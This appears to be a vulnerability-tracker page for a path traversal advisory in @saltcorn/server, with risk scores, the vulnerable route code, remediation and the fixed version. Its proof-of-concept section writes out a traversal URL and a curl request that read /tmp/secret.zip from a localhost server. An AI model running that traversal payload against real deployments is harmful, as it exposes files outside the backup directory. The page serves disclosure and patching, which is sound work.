GHSA-277h-px4m-62q8: @saltcorn/server arbitrary file zip read and download when downloading auto backups
Noroxi assessment
Priority: Monitor (action score 17/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. Administrator privileges are required. No user action is required. Special conditions such as timing or configuration are required.
- Fixed version: @saltcorn/server (npm) 1.0.0-beta.14.
Low priority for now. Upgrade to @saltcorn/server (npm) 1.0.0-beta.14 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
### Summary A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to `res.download` API. ### Details - file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682 ```js router.get( "/auto-backup-download/:filename", isAdmin, error_catcher(async (req, res) => { const { filename } = req.params; // [1] source [...] if ( !isRoot || !(filename.startsWith(backup_file_prefix) && filename.endsWith(".zip")) // [2] ) { res.redirect("/admin/backup"); return; } const auto_backup_directory = getState().getConfig("auto_backup_directory"); res.download(path.join(auto_backup_directory, filename), filename); // [3] sink }) ); ``` ### Steps to reproduce (PoC) - create a file with `.zip` extension under `/tmp` folder: ``` echo "secret12345" > /tmp/secret.zip ``` - log into the application as an admin user - visit the url `http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip` - download the zip file and then check if the zip was indeed downloaded: ```bash cat secret.zip secret12345 ``` - Alternatively send the following request to retrieve the file just created. ```bash curl -i -X $'GET' \ -H $'Host: localhost:3000' \ -H $'Connection: close' \ -b $'connect.sid=VALID_CONNECT_SID_COOKIE' \ $'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip' ``` **NOTE**: To obtain a valid `connect.sid` cookie, just open the developer console while logged and retrieve the cookie value. ### Impact Arbitrary zip files download (information disclosure). ### Recommended Mitigation Resolve the `filename` parameter before checking if it starts with `backup_file_prefix` .
- Published
- Oct 3, 2024
- Updated
- Oct 3, 2024
- EPSS
- —
- CWE
- CWE-22
Report tools
Action score
17
Low priority for now.
- CVSS
- 17 / 40 · 4.4 / 10
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
Get told when this record changes
- Not in KEV: no record of exploitation in the wild
- No public exploit code on record
- A fix has been released
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What does it mean in your environment?
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| Vendor | Product | CPE |
|---|---|---|
| npm | @saltcorn/server | pkg:npm/%40saltcorn/server |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| npm | @saltcorn/server | before 1.0.0-beta.14 | 1.0.0-beta.14 |
Same product
npm: all recordsOther highest-scoring records for the same primary product.
- GHSA-cr3w-cw5w-h3fjSaltcorn's Reflected XSS and Command Injection vulnerabilities can be chained for 1-click-RCE38Monitor
- GHSA-78p3-fwcq-62c2@saltcorn/server Remote Code Execution (RCE) / SQL injection via prototype pollution by manipulating `lang` and `defstring` parameters when setting localizer strings28Monitor
- GHSA-pf56-h9qf-rxq4Saltcorn Server Stored Cross-Site Scripting (XSS) in event logs page24Monitor
Published before and after this one in the same product
- Later →GHSA-cfqx-f43m-vfh7Oct 3, 2024 · @saltcorn/server arbitrary file and directory listing when accessing build mobile app results19Monitor
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| npm:@saltcorn/server | 1.0.0-beta.14 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Patch and commit links
Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.
Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- Administrator privileges are required.
- No user action is required.
- Special conditions such as timing or configuration are required.
If successful
- Confidentiality
- high · data can be read
- Integrity
- none
- Availability
- none
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- High
- User interaction
- None
- Scope
- Unchanged
- Confidentiality impact
- High
- Integrity impact
- None
- Availability impact
- None
Weakness class (CWE)
CWE-22 · Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')CVSS vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N
osv
Root cause
A user-supplied file name is joined with the allowed directory, but the result is never checked to confirm it is still inside that directory.
The bug in code
The whole CWE-22 classA representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.
Vulnerable
const file = path.join(ROOT, req.query.name);
res.sendFile(file);Fixed
const file = path.resolve(ROOT, req.query.name);
if (!file.startsWith(ROOT + path.sep)) {
return res.sendStatus(400);
}
res.sendFile(file);Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
- Path TraversalCAPEC-126likelihood: High · Very High
- Using Slashes and URL Encoding Combined to Bypass Validation LogicCAPEC-64likelihood: High · High
- Manipulating Web Input to File System CallsCAPEC-76likelihood: High · Very High
- Using Escaped Slashes in Alternate EncodingCAPEC-78likelihood: High · High
- Using Slashes in Alternate EncodingCAPEC-79likelihood: High · High
ATT&CK techniques
—
Change log (1)
- Fix✗ → ✓
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References
Show all references (3 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.